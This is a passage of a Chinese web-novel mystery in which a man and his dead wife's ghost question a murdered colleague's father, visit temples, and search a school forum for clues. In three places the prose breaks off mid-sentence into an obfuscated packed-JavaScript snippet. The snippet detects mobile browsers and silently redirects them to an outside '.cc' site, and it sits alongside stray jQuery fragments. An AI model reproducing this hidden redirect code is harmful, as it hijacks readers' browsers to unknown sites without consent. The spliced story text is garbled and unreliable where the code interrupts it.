梁淮思皱着眉头,揉了揉太阳穴:“我在犹豫。去吧,我们又不知道跟谁打听消息,打听什么消息。你看,我们除了知道老吴他们问到了有关三中的事,别的信息我们一点也没有。但不去吧,又觉得不该放弃这条线索。”
“这倒也是。”端木茵感叹道。她懒懒地靠在椅背上,伸手拨弄着裙摆,“我刚刚一直在想三中的事,在想老吴他们怎么会提到三中。三中有初中部和高中部,我们公司年纪最小的同事也有二十三岁了,算起来,离读初中有十年、八年了,离高中也有七年、五年了吧?你说,五年、十年,甚至更早的事,这怎么查啊?”
“没有更多的信息,确实没办法查。”
端木茵:“我虽然看不惯丁维的为人,但说实话,就今天他的反应来看,我不认为他是推我下楼的人。”
梁淮“嗯”了声,拉上安全带:“他在意警方去你们公司调查,但对三中这个话题明显觉得意外。”
“是的。他得知警方提起三中后,语气反而放松很多,没之前那么心烦了。”
“我觉得他有瞒着不能曝光的事,但他要瞒的事跟老吴他们在查的三中无关。哦,对了……”梁淮突然想了什么,“今天去老吴那,他把你的手机还给我了。”
“哦?你看看公司的群里有没有在聊今天警方去调查的事。”端木茵坐正了些,心里祈祷着,但愿还没把她踢出群,她基本上不在群里冒泡,应该不太会引起别人的注意。
打开微信,群里果然多了上百条消息。
梁淮快速浏览了一遍,除了零散几条工作上的消息,讨论的更多的是老吴他们的调查。
可惜,没人提到更有用的信息。
无非是各种猜测,却没一个猜到点上的。
梁淮抿着唇,刚要把手机收起来,又有条新的消息在群里弹出。
消息是社长于森发的——
“姚晓晨今日中午因车祸离世,追悼会明天上午9点举行,地址……”
19. 第十九章 八月二十三日
于森在群里发这条信息,想必已得到了姚晓晨去世的消息。
“我没了的时候社长在群里发信息了吗?”等梁淮发动引擎,端木茵问他。她不记得自己的葬礼上有见过同事。
倒不是攀比,葬礼这事也没什么好攀比的。只是如今她看谁、做什么都觉得可疑,不免多问一句。
梁淮注意着前方车流,斟酌着怎么回答:“谁也没想到会发生那样的事。得到消息时,爸妈受了很大的打击,妈一头栽倒,醒来后,妈说,不想你走了之后,还要搞得闹哄哄的,这也是你爸的意思。我跟你们社长打了招呼,他低调地处理了,在群里提了下你过世的事,但没提追悼会的日期和地址。”
端木茵轻点了下头:“挺好的,我确实不喜欢太吵闹的场合。”她顿了下,忽地想到了什么,问,“照片谁选的?”
“我选的。拿给夏老师看过,夏老师说那张好,笑得纯澈。”
端木茵又点头,没再开口。
直到前方红灯,梁淮才停下车,看了端木茵一眼。她靠在车窗上,有点走神。
“明天去不去?”他问。
“嗯?”端木茵还在走神,一下子没反应过来梁淮在说什么。
“我是说,明天去不去姚晓晨的追悼会?”
端木茵用了大约三秒钟才回神,她使劲搓了搓脸,问:“去。”
梁淮摇下了车窗,让空气流通些,才发现天色昏暗了些,大概又要下雨了。他看着窗外,语气淡然:“我知道不是最佳时机,但我想搞清楚姚晓晨今天约我到底为了什么事,她父母可能知道点什么。”
他侧脸轮廓精致,眉头微蹙让他看上去多了点忧愁。
“她父母也不一定知道她为什么约你。”端木茵不喜欢泼人冷水,可也不想梁淮对见姚晓晨父母抱有太大希望,毕竟做子女的又有几个会什么事都跟父母说呢。
“不一定知道,但我们现在不是没有别的法子了么,也许她父母注意到什么细节呢。”
“也是。”
外面雨又淅淅沥沥下了起来,微风吹过,雨丝飘进,濡湿了梁淮搭在车窗上的手臂。
***
这场雨一直下到第二天也没停。
活着的时候,端木茵没参加过任何人的葬礼,死了倒有幸参加了自己的葬礼。
也没过去几天,又来吊唁姚晓晨。
人生真是悲喜无常。
谁都不知道明天和意外哪个先来*。
梁淮手里握着一束用浅绿色包装纸包着的洋桔梗,玉色缎带打了个很漂亮的结。
洋桔梗是开车经过花店时买的。端木茵记得姚晓晨生日时,在朋友圈里晒过一张抱着一束洋桔梗的照片。
照片里,姚晓晨下巴埋在绿色洋桔梗里,闻着洋桔梗淡淡的香气,眉眼弯弯,笑得很温柔。
她想,姚晓晨是喜欢洋桔梗的。
很喜欢。
于是,她对梁淮说:“洋桔梗吧,绿色的。”
偌大的灵堂里,姚晓晨的黑白照片摆放在正中。
端木茵和梁淮走上前去,在遗照前放下那束洋桔梗。
一位穿着黑色连衣裙的中年妇女过来谢礼。端木茵几乎一眼就认出她了,是那位他们离开老吴那时匆匆而过的夫人。
端木茵想,那定是晓晨姐的母亲,两个人有一模一样的鼻子,山根高,鼻尖微微翘起。
“节哀。”梁淮对姚母表达了哀思。
姚母轻轻鞠躬。她的脸色泛白,眼角尚有没擦干净的泪痕。她问:“你是晓晨的同事吧?这边请。”说到女儿,她哽咽了。
“我太太跟姚小姐是同事。我来是想跟您打听些事,不知您能否给我几分钟时间和您单独聊聊。”梁淮直截了当。
姚母朝门口望了一眼,有点不知所措。
端木茵顺着她的目光望去。
门口站着两个男人,为首的男人五六十岁的样子,微佝着背脊;年少的瘦瘦高高,年龄应该不会超过二十岁。
端木茵想,少年大概是姚晓晨的弟弟。她之前倒没听说过姚晓晨有弟弟。
少年显然不习惯戴领带,一直不耐烦地扯松领带,还时不时把手伸进裤兜里,又拿出来。
男人注意到这边的情况,跟少年交待了两句。少年挥挥手,颇不耐烦的模样。
姚晓晨的父亲大步走了过来,语气不太客气地问:“什么事?”
“老姚,这位先生说想打听些事。”姚母轻声解释。
姚父面色微变,压低声音道:“这位先生,你看,今天是……”
眼见着要拒绝梁淮的请求,梁淮打断了他的话:“我要打听的事可能和姚小姐的死有关,姚先生不会不想知道吧?”他把嗓音压得很低,但在说“死”字时,特意咬得很重。
姚父一怔,迟疑了两秒,做了个请的手势。
两人去了隔壁的房间。
“呃……”一时间姚父不知如何开口。
“梁淮。”梁淮自我介绍,“我太太端木茵曾是姚小姐的同事。”
姚父没好气地问:“梁先生找我们是想了解什么?”
梁淮虽不满意姚父的态度,却也能体谅一个刚丧女的父亲的悲痛。他温声道:“一个星期前,我太太从公司的楼梯间滚下楼,当场死亡。”
听到这里,姚父挪了挪身子,重新坐好。
“昨天,临近中午的时候,”梁淮面色不显,继续说,“姚小姐打电话给我,约我在南洲广场见面。”他停住了话题,注意姚父的表情。
姚父眉头紧紧皱起,道:“晓晨约你干什么?”
梁淮摊摊手,表示:“这也是我想知道的。我在南洲广场等了近一个小时,姚小姐没赴约,后来我才知道她出事了。”
“那我恐怕帮不上你忙,我并不清楚她为什么约你。”姚父站起身,想结束对话。
梁淮低头,淡淡笑了下:“姚小姐的死不是事故吧?”
姚父脸色一下变了:“你知道什么?”晓晨的事警方没有对外公开,面前的这位号称晓晨前同事丈夫的男人又是从何得知的?
梁淮面色淡淡,往椅背上一靠,翘着二郎腿,笃定道:“所以,姚先生还是跟我谈谈吧。”
姚父慢慢坐下,两手握成拳头搭在大腿上,低垂着眉眼,说:“不是不想帮你,我确实不知道晓晨她约你做什么。”
梁淮摆了摆手:“这个我理解。我也没想为难您,只是想知道您有没有注意到她最近一、两个星期有什么不对劲的吗?特别是最近一个星期。请您仔细回忆一下。”
姚父垂下头,不停地搓着食指和拇指。
梁淮没有催他,抬眸看了眼靠在门板上的端木茵。
从他们进房间后,她就一直保持这个姿势。
梁淮面上维持着镇定,心里却没一点数,他也不知道能从姚父这里获得多少信息。
这位鬓发已经开始灰白的男人显然有自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396442|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的打算,他可能不会完全坦诚,但只要能透露点信息,即使是很少点信息,那也是有用的。
姚父做了个深呼吸,打破沉默:“你不问我倒一点没没察觉出来。上个星期,她回家后,脸色不太好,连饭也没做,就把自己锁在卧室里了。她妈敲了好长时间的门,她也不开门。本来她就回来晚了,又闹脾气,惹得她妈很生气。”
“还记得是上个星期哪天吗?”梁淮问。
“嗯……”姚父回忆了一下,“好像是七月半的第二天。对,就是那天。”
梁淮朝端木茵看去。她站直了身体,两手握成拳垂落在身侧,呼吸略有点重,胸口起伏一阵。
收回视线,梁淮话音冷静:“既然提到了七月半,我想问一下,您还记得七月半那天,姚小姐回家后有什么不一样吗?”
姚父眉头敛了敛,有点吃惊地抬眸看着梁淮:“七月半?可七月半她没回家。”
端木茵吸一口凉气。
这就和老吴说的中元节姚晓晨没有离开公司的话对上了。
在这之前,即使老吴说监控没拍到姚晓晨离开公司的画面,即使梁淮说,她没看到晓晨姐真的坐电梯或走楼梯下楼,就算她清楚姚晓晨很可能和她被害有关,可她心底总还侥幸地认为可能是老吴他们看漏了。
说不沮丧是假的。
到底是一直以来很照顾她的前辈,她实在不愿意把姚晓晨朝凶手或帮凶方面想。
无奈轻叹口气,抬头看向梁淮。
他正看着自己,偷偷朝她做了个别急的手势,继续问:“没回家?您确定?”
“我记得清楚。”姚父很确定地说,“那天是gui节,早上出门的时候,她妈妈要她早点回来,晚上还要祭祖烧纸。”
“嗯,您说下去。”
“下班前,她妈妈给她发了信息,提醒她早点回来给她搭把手做祭祖饭。”姚父苦笑了下,“他们公司有时候项目要得急就要留下来加班,晓晨她虽然是资源部的,翻译的事和她无关,但也经常加班。”
梁淮蹙了下眉头,觉得姚父有点跑偏了,便把话题拉回来:“后来发生了什么?”
姚父想了想,才回答:“到了17:30的时候,晓晨她打了电话回来,说要留下来加班,可能要晚点回来。她妈妈不太开心,问她大概什么时候可以回来,她说不会很晚。她妈妈说要她早点回来。
“到了晚上,晓晨还没回来。她妈妈觉得这样不行,说要耽误了祭祖,就又再打个电话给晓晨。”
“拨通了?”梁淮问。
“拨通了。晓晨说,她已经准备下班了。”
身体稍微向前倾了些,梁淮问:“那个时候是几点?”
“嗯,快20点了。”姚父回答。
“您确定吗?”
“确定!她妈妈打电话的时候,我在一旁,我特意看了下时间,差7、8分钟就20点了。”怕梁淮不信他的话,姚父拔高了音量。
“好的,您说下去。”
姚父摸摸额头,说:“然后大概是……让我想想,大概20点30不到的时候,晓晨打了个电话过来,是我接的电话。她说晚上有事,不回来了。”
梁淮眉头蹙得更紧了些,不过半个小时,怎么从“已经准备下班了”变成了“不回来了”?
“您接电话的时候,有察觉到她不对劲吗?”
姚父思忖半晌:“不对劲倒说不上,就是她的声音听起来有点怪。”
20. 第二十章 八月二十三日
“怎么个怪法?”
姚父试着回忆那日的通话:“嗯,她说话有点哆嗦。”
“有点哆嗦?”梁淮露出了不解的表情。
“怎么跟你形容呢,就像……就像天冷的时候,说话会有点牙齿打架的感觉,不知道你明白我的意思吗?”
梁淮轻轻点头,他大概明白是姚父的意思了:“您还记得别的细节吗?”
“别的?那倒没了。”姚父摇头,“她就说了那两句,然后挂电话了。”
梁淮:“她有说会去哪么?比如说,通宵留在办公室?或是去朋友家过夜?”
“没有,就说不回来了。她电话挂得急,我也没来得及细问。”
“第二天她回家您也没问吗?”
“我前面就说了,第二天她回来的时候直接就把自己锁卧室了,我也没法问,是吧?”
沉默许久,梁淮才又开口道:“姚小姐她有写日记的习惯吗?”
姚父摇头:“没有吧。”
梁淮点头:“最后一个问题,姚小姐她有男朋友吗?”
***
雨还在下,淅淅沥沥的。
车停在两条街外。梁淮说让端木茵等他,他去取车,端木茵拒绝了,说一起走过去也没多远。
走在街上,两个人一时没作声。
过了第一个斑马线,端木茵突然说了句:“下班前,她还跟我打招呼叫我别把自己绷得太紧。”
梁淮一手撑着伞,另一只手轻搂住她的肩,把她往自己这边带了带。
“梁淮,你说,她怎么可以前脚说这话,后脚就把我推下楼了呢?”
梁淮觉得她快要哭出来了,端木茵说话的声音里都带着哭腔,他忙收紧了些搂着她肩的手,温声说:“她爸爸的话也只能证明姚晓晨七月半那天没有回家,并不说明她是凶手。”
“她爸爸也说了,她声音听上去有点哆嗦。”
“有点哆嗦怎么了?”
梁淮平淡的语气让端木茵觉得,说话哆嗦是件再稀松平常不过的事。
她停下脚步,甩开梁淮搭在她肩上的手,昂头看向他:“什么怎么了?梁淮,又不是大冬天,说话怎么会哆嗦?她那是害怕了才哆嗦,害怕得想掩饰都掩饰不了。什么事能让她那么害怕?你要知道,姚晓晨她是个很冷静的人,一般的事还真不至于让她失魂落魄。
“你没听她爸爸说吗,七月半那天她没回家,可她在我下班前就结束工作了。梁淮,那可是中元节啊,我们小时候一直被家长敲警钟,gui节要在天黑前回家,七月半的大晚上她去哪了?
“还有,她爸爸说,她打电话给他的时候不到20点30分。那时候她情绪已经不稳定了,我们之前推断出我是在20点22分前被人推下楼梯的。你看,时间上完全吻合。她比八楼的小祝要早发现我遇害了。姚晓晨如果是无辜的,梁淮,你告诉我,她为什么不打120?
端木茵一口气说完,没带停顿,导致说完后呼气都不顺畅,胸口剧烈起伏。
她知道自己看上去很狼狈。
眼眶有点酸涩,大概率是红了,她能感觉到有泪水蓄在眼眶中。
她把头抬得更高些,似乎只有这样,眼中的泪水才不会因为地球引力而落下。
梁淮也驻足,低头看着她。
微风吹过,雨滴化成无数细微雨丝飘了进来,她细长的睫毛被雨丝润湿。
梁淮伸手,用指腹擦去落在她长睫上的细雨。
他知道,她心里定是委屈得要命。
从进公司就一直对她照顾有加的前辈如今成了最有嫌疑杀害她的人。
她忍着不让眼泪落下,他却见不得她想哭却不能哭。
“阿茵,”他稍微停顿了一下,平静地说,“她也被杀了。”
是这声“阿茵”太温柔,还是“她也被杀了”的冲击太大,原本还强忍着的眼泪不受控制地从眼眶里涌出来。
接着便一发不可收拾。
梁淮把端木茵拥在怀里,轻轻拍背给她顺气。
端木茵伤心得不行,像要把所有的委屈都宣泄出来。哭到气极了,又握起拳头捶梁淮肩。
终于,哭累了,发泄了,大哭化作啜泣。
后知后觉倒生出点难为情来。
推开梁淮,端木茵背过身,偷偷擦去眼角的泪。
“你也不知道提醒我一下,大街上哭那么大声,多丢脸。”她还背着他,夹杂着雨声,声音听上去有点模糊。
梁淮知道她的气来得快,气得也快,悬着的心到底落回原处:“想哭就哭,没什么丢脸的。再说……”他轻咳了声,又道,“再说,你别看街上人多,也没人能看到你哭,真不丢脸。”
“梁淮!”端木茵回身横眉怒视。
梁淮发现自己说错话了,即刻举双手做投降手势。
哭过了,心中的阴霾被扫去,心情平复了,端木茵决定不跟这男人计较。
“走快点,雨要下大了。”
坐进车里,雨果然下大了,密集的雨滴砸在玻璃上,发出滴答滴答的响声。
端木茵规规矩矩端坐好,对着坐上驾驶座的梁淮说:“我刚刚是不是很丢脸?”
梁淮一愣,随即又明白过来她指的是刚才乱发脾气。
“怎么会?”他调了一下后视镜。
端木茵稍微有点被安慰到,说:“你说得对,姚晓晨也被杀了,我不能因为她和我的死有关我就咬定她是杀害我的凶手。我也知道定案要讲证据,不是随便猜谁是凶手谁就是凶手的。
“可我们太缺线索了,仅有的一点点线索,比方说三中的那个线索,有跟没有差不多。
“你和姚晓晨爸爸在谈的时候,我突然冒出了‘要不就这样吧,让警察去查’的想法。但真放弃的话,我又觉得不甘心。梁淮,你明白我的感受吗?”
“阿茵,警察管警察查,我们管我们查,并不冲突。”梁淮半转身,眸光微动,深望着她,“你这样想,查得到就查,查不到我们总归是尽力过了。”
“嗯。”端木茵突然坐直了些,问,“我手机还在你那吗?”
“你要用?”梁淮从裤兜里摸出那个碎屏的手机,问道。
“我突然想到姚晓晨她爸爸的话,他说姚晓晨没有写日记的习惯。”
她以前也有写日记的习惯,从小学的时候开始写的,不拘字数,记录些有趣的事,前前后后写了九年。
夏老师也支持她记日记,还买了本硬壳的、带锁的笔记本。郑重其事把笔记本交给她的时候,夏老师说:“这是你的笔记本,你一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15410483|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人的笔记本,你自己保管好。”
现在回想起来,夏老师虽然严格,却尊重她。
“梁淮,你觉得姚晓晨的父母是什么样的人?”端木茵若有所思地问.
梁淮眉头蹙起:“什么意思?”
“你就把你的第一印象说出来。”
“第一印象吗?才说几句话的时间也看不出全面,怎么说呢,就觉得她父母不重视她。”
端木茵:“对吧?你也看出来了,她父母有点重男轻女。
“她爸爸说七月半那天,她妈妈给姚晓晨发信息,提醒她早点回来帮她搭把手做祭祖饭。”
“我记得她爸爸的原话是——她妈妈听到她要加班,不太开心,还担心耽误了祭祖。
“这话不是很奇怪吗?做祭祖饭这种事又没规定谁能做谁不能做。她爸爸当时也在家,为什么他不搭把手。还有她弟弟,看得出来还是个学生,现在在放假,就算要补课什么的,也没忙到一点时间也挤不出来分担点家务。那么我想问一句,为什么一定要等一个加班的人回来做祭祖饭。”
梁淮面露讽刺:“他们家男人看来是进不得厨房的。”
端木茵狠狠点头:“你当时若是不问,姚晓晨她爸爸甚至没察觉出姚晓晨有什么不对劲。
“还有她弟弟,在姐姐的葬礼上,一副不耐烦的样子,对父母的态度也很敷衍,还几次习惯性把手伸进裤兜里,我看他就是想拿手机。不过总算他也知道是姐姐的葬礼,没敢若无其事刷手机,要不真要被人戳脊梁骨了。”
梁淮:“他弟弟和她关系也挺一般。”
端木茵:“反正我之前没听姚晓晨提过她弟弟,我都不知道她有弟弟。哎,我扯题了,我是想说,姚晓晨和家人的关系比较一般,她若是记日记,以她的性格,未必会让她家人知道。她可能会把笔记本藏起来,或在网上开个号,记录自己的日常,又或者,在自己的朋友圈隐晦地记录。
“我知道她有发朋友圈的习惯,谁知道呢,也许我们能发现点漏掉的线索。不过,”她停顿了一下,语速放慢,“不过,我们也别抱太大的希望。”
“没关系,有方向总归比没方向好。”梁淮打开端木茵的手机,刷新一遍她朋友圈。
他稍微有点近视,看东西时,会下意识皱眉头。
“都发了些什么?”端木茵凑过去看。
“还没看出什么。这个拍的是晚霞;”梁淮继续刷,“这个是她做的点心;”
端木茵拍了拍梁淮,提醒他:“先看七月半以及之后的动态。”
“我看看。在这,七月半她没发动态,第二天倒是发了。你看,是张在伸懒腰的橘猫照片。这身段,啧啧啧,比村霸还结棍。”梁淮有点嫌弃撇了撇嘴。
端木茵:“姚晓晨她不养猫啊。”
“不是家猫,应该是小区里的流浪猫。你看这是室外的水泥地,养猫的一般不会把家猫带出去溜达,可能是她喂养的流浪猫。”
“梁淮,你把图片放大些,我看着那地方也不像是小区里。”
梁淮依着她的要求把图片放大。
端木茵指着图中的一滩积水,说:“你看,积水中的倒影像不像是古代建筑的某部分?”
梁淮眯眼:“有点像……大殿的屋顶转角。”
21. 第二十一章 八月二十三日
梁淮不十分肯定,说的时候便带了点犹豫。
“大殿?是古代建筑的那个大殿吗?梁淮,会不会是寺庙?”端木茵有点小兴奋,虽然还想不明白姚晓晨为什么会去庙里,但正好是七月半的第二天,她不会是无来由地跑去寺庙里的。
寺庙会是条线索。
“阿茵,本市有108个大大小小的寺庙。”
还是淡淡的语气,却让端木茵惊愕地瞪大双眼.
“多少?你说多少?”她声音都变了。
“108个寺庙。”梁淮重复。
“108个……居然有那么多!”端木茵瘫坐在副驾驶座上,半晌没吭声。
“你放弃了?”梁淮问。
端木茵直起身,大声道:“才怪!区区108个寺庙,难不倒我的。来,我们分析分析,缩小一下范围。”
梁淮低头笑了笑,问:“从哪开始分析?”
“嗯……”端木茵手肘支撑在椅背上,“我们先从时间上来排除吧。我记得寺庙的开放时间一般是早上7:00点到下午18:00,个别寺庙会有不同,但大差不差。”
梁淮瞥她,说:“嗯,说下去。”
“你问姚晓晨她爸爸她有什么不对劲的时候,他提了姚晓晨第二天回家把自己锁在卧室里那件事,还说,本来姚晓晨回来晚了,还闹脾气,惹得她妈妈很生气。可见她那天回来晚了。鉴于前一天她没回家,我们也无法知道姚晓晨那天有没有特意早出门。”
端木茵停顿了下,见梁淮点头,又继续说,“好,现在我们再看姚晓晨能去寺庙的时间点。
“我们公司是早上9:00点打卡,寺庙7:00开门,她有大概不到两个小时的可支配时间。然后是午休时间,中午11:30分到下午1:00,要么就得等下班后,也就是17:00点后了,若是要加班,这个点还走不了。”
“这么说来,还是早上和午休这两个时间段更宽裕点,但就像你说的,她那天回家晚了,所以下班后也有时间去寺庙。”
端木茵赞同:“确实。然后你看,照片里,阳光几乎是笔直照射下来。”
“是中午去寺庙的。”
端木茵换了个更舒服点的坐姿,接着说:“我也是这样想的。午休一共才一个半小时的时间,她是牺牲吃午饭的时间去的。寺庙离我们公司不能太远,不然她来不及赶回公司。”
梁淮稍抬眉:“我们假设她在寺庙里待了半个小时,那么她还有一个小时的时间用来往返。”他拿出手机开始查看,“让我看看距离你们公司一个小时时间里能往返的寺庙。有了,有3个寺庙,法善寺,云禅寺和万福寺。”
端木茵大呼:“不是吧,居然还有3个。”
“照片里也看不出更多信息了。不过是3个寺庙,我们一个个找过去,总归会找到的。”
“那先去哪个?”
梁淮启动车子,说:“云禅寺吧,顺路。”
***
云禅寺虽顺路,却不是他们要找的寺庙。
白跑一趟,端木茵气得半不行,慵懒地趴在石桌上。
她从来不认为自己运气差,但从郊区做口译碰上车子出故障,拍了那张后来惹祸的照片开始,她的运气似乎没再好过。
梁淮走过来在一旁的石凳上坐下,喝了口瓶里的矿泉水:“我刚刚发现,来云禅寺的很多都是中年人。”
端木茵微微抬头,将下巴搁在手背上,语气懒散:“你不知道吗?云禅寺求姻缘,来烧香替自己子女求姻缘的中年人肯定会多点。”说到求姻缘,她猛地去看梁淮:“梁淮,你查查,法善寺和万福寺求的都是什么。”
那边,梁淮已将矿泉水瓶放在石桌上,摸出手机:“法善寺,法善寺……”他又眯眼了,“有了,法善寺求好运。”
“那万福寺呢?”
“别急,在找了。”梁淮的食指飞快地划着手机屏幕,突然又停住。
“怎么说?”端木茵等不及他答复,索性凑过去看,“求心灵平和?姚晓晨她去的是万福寺?”
梁淮收起手机,问:“那还去万福寺吗”
“去。”端木茵站起身,舒展了下筋骨,“总要去确认一下。”
***
万福寺。大雄宝殿前。
“都说镜头显胖,我看未必。”
殿外,端木茵双手抱臂,看着殿内正中央蒲团上磕头打盹的橘猫。
梁淮低头淡笑:“当心它听得懂。”
端木茵转身对他笑笑。
雨已经不下了,这个点,阳光还挺强,刺得她睁不开眼,她抬手遮住:“你说,她牺牲了午休的时间,到这里来干吗?”
比起香火旺的寺庙,万福寺实在属于没人气的寺庙。
临近中午,除了偶尔一两个僧人,便见不到其他人影了。
梁淮不经意地挪了两步,恰好遮住了直射过来阳光:“自然是来求心灵平和。”
“好一个心灵平和。”端木茵嘲讽地冷笑一声。
梁淮点头:“你死去的第二天,姚晓晨来这里寻求心灵平和,仅凭这一点就能说明在你的案子里,姚晓晨她有参与,但这显然是矛盾的。在你的陈述里,她冷静,能干又上进,还会照顾同事,是个值得相交的人。所以我问自己——她害你的动机是什么?”
端木茵动了动唇,最后还是抿嘴无言。
“你看,你也想不明白。按照我们之前的推论,你被人推下楼是因为你在朋友圈发了那张照片。照片被凶手看到了,误以为你目睹了命案,所以找了机会杀你灭口。
“好,如果姚晓晨是推你下楼的凶手,那么她势必和望槐桥案有关。但问题来了,她也被杀了,那么,她又是被谁杀害的?凶手杀她的作案动机又是什么?
“如果她是无辜的,以你对她的认识,她看到有人倒地,一定会打120的,她又为什么没打?
“你说她那天比你早下班,我们来假设一下,如果那天下班后她没马上下楼,而是被某件事耽搁了,那是不是她下楼的时间反而要比你的要晚呢?像你之前说的,那个时候电梯停在三楼,姚晓晨要下楼势必得走楼梯下去。”
端木茵的唇角抿起:“你的意思是,她正好看到凶手推我的瞬间?她没打120是因为发现我当场死亡了?”
“嗯。”
“如果是这样的话,那是不是意味着,姚晓晨也是被凶手灭口的?”
梁淮:“这是一种可能性。”
“可是……”
一声“喵”将她的话打断。
低头,那只原本在蒲团上打盹的橘猫醒了,正围绕着梁淮转。
端木茵蹲下,抬手给橘猫顺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424209|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了顺毛。她抬起头,对梁淮说:“有一点还是说不清。”
梁淮单膝跪在水泥地上,顺着毛孩子的毛撸了几把,一面对端木茵说:“你说。”
“如果姚晓晨是因为目睹了凶手行凶而被灭口,那么凶手在发现她时为什么不当场解决了她,而是在几天后才动手?
“姚晓晨的情况和我的不一样,我是真没意识到自己可能目睹了凶案发生,而凶手若不是我发的那张照片,压根没意识到我也曾在望槐桥附近逗留过。你也别跟我说凶手他/她后知后觉。退一万步讲,即使凶手后知后觉,姚晓晨为什么没在凶手反应过来前报警呢?凶手又是依据什么事后反应过来姚晓晨她目击了凶案呢?”端木茵蹲得不稳,只得两手撑在地上保持身体的平衡。
梁淮撸猫的手停在半空,思忖半晌,才道:“我有个想法,不过没有十足依据。”
端木茵做了个“受不了”的手势。
“梁淮,你有想法就直接说。”
“我在想,”他依旧慢条斯理,“姚晓晨她是不是在包庇某个人?”
端木茵愣住。
她从未往这个方向考虑过姚晓晨的行为逻辑。
如果真的像梁淮说的,姚晓晨在包庇某个人的话,那么她所有的行为就都有了解释。
害怕——因为她的的确确目睹了同事被人推下楼;
缄默——因为凶手是她要维护的人,这让她处于进退两难的地步。维护,意味着她是助纣为虐的帮凶;报警,她又下不了决心。
这些日子里,姚晓晨大概无时无刻不在报警还是隐瞒中反复犹豫,这确实能折磨得一个人发疯。
姚晓晨来万福寺的目的也就不言而喻了。
端木茵站起身,稍微活动了一下腿脚:“你有怀疑的对象吗?”
梁淮也起身,两手插兜,回答:“有。”
“是……于森?”她反问。
梁淮低头笑了笑,手虚搭在端木茵的腰上,说:“走吧。中午的太阳真的挺晒的。”
***
有空调吹着,到底清凉了很多。
端木茵和梁淮坐在便利店的吧台前。
“想不到这里视角还挺好。”端木茵稍微矮下头,盯着对面写字楼新奇地说。
梁淮一边吃着双拼猪排饭便当,一边打开笔记本电脑,说:“你没坐这里吃过午饭?”
端木茵往后靠了靠,撇了眼收银台后忙着帮顾客结账的店员:“这里便当不好吃,我只偶尔买这里的关东煮,味道其实也一般。”
梁淮往嘴里送猪排的动作迟疑了两秒:“买了关东煮你不坐着吃,难道站收银台旁吃?”
端木茵一手托腮,斜着身子看梁淮:“才没有。我都带回办公室吃。”
“那于森那人还怪好的,竟允许你们在办公室吃东西。”
端木茵从他语气里听出了些阴阳怪气,她撅了撅嘴,反驳道:“又不是螺蛳粉臭豆腐,没味。”
提到于森,端木茵又不自觉地叹了口气。
她对于森没什么意见。
事实上,在万福寺和梁淮同时想到姚晓晨要包庇的人是于森前,她甚至没怎么过于关注过于森这人。于森对她来说就是个做事雷厉风行,不会在工作上故意挑属下刺的老板。
她曾听姚晓晨用很敬佩的语气谈到过于森。
22. 第二十二章 八月二十三日
那是刚进公司时的一回团建,姚晓晨喝醉了,一改平日里寡言少语的形象,拉着她说了好多,提到最多的是社长于森的名字,谈他的能力,谈他的才华,谈他对学弟学妹的照顾,谈他刚创业时的一次次跌跟头……
那会儿,她连同事的名字都记不全,听得迷迷糊糊,唯一至今还能记住的,是那位喝得微醺的前辈眯着眼偏头看向于森时,眼里流露出的隐隐的爱意。
所以当梁淮提出“姚晓晨可能在包庇某人”的可能性时,她第一想到了那晚姚晓晨眼中那丝隐藏的暗恋。
“在想什么?”
“没什么。”端木茵轻轻摇头,见梁淮在搜索界面里输入了关键词,便好奇地凑过去看了两眼,问:“你在搜什么?”
“搜三中的信息。”他已经吃完了那份味道很一般的双拼猪排饭便当,顺带消灭了猪排饭里的青豆,胡萝卜丁却一颗不少地留在了便当盒里。
“搜到什么吗?”
“搜到点。你看,”梁淮用手指着屏幕的某点,说,“我一直以为三中在市区里,原来他们还有个分校。你猜在哪?”
端木茵觉得他意有所指,便下意识地猜测:“郊区?”
“再猜。”
“城西?”端木茵想了想,追问,“槐塘村附近?”
“嗯。没想到吧?”
确实没想到。
和梁淮一样,她一直以为三中在老城区。但既然三中在城西有分校,三中那条线索就变得有意思起来了。
“你还搜到点什么?”
“他们有个论坛,匿名的,还挺热闹。”
端木茵挑了挑眉。
论坛,还是匿名的。
真是柳暗花明又一村。
只是跨越年数太久,要查出些名堂来,估计难。
“能查到之前的帖子吗?”端木茵刚问出口,又开始担心万一年数太久的三中还没论坛呢,她岂不是白开心了。
梁淮抿了抿唇:“不确定。有些帖子被删了。”
删掉了,那不更说明帖子要么含违规内容,要么涉及敏感话题不适合外传么。端木茵倒是越发想知道被删除的帖子到底是有关什么内容的了。
梁淮一眼就看出她的小心思,他伸手拿过吧台上搁着的手机,说:“我问问琛子,看看他有没有办法恢复之前删掉的帖子。”
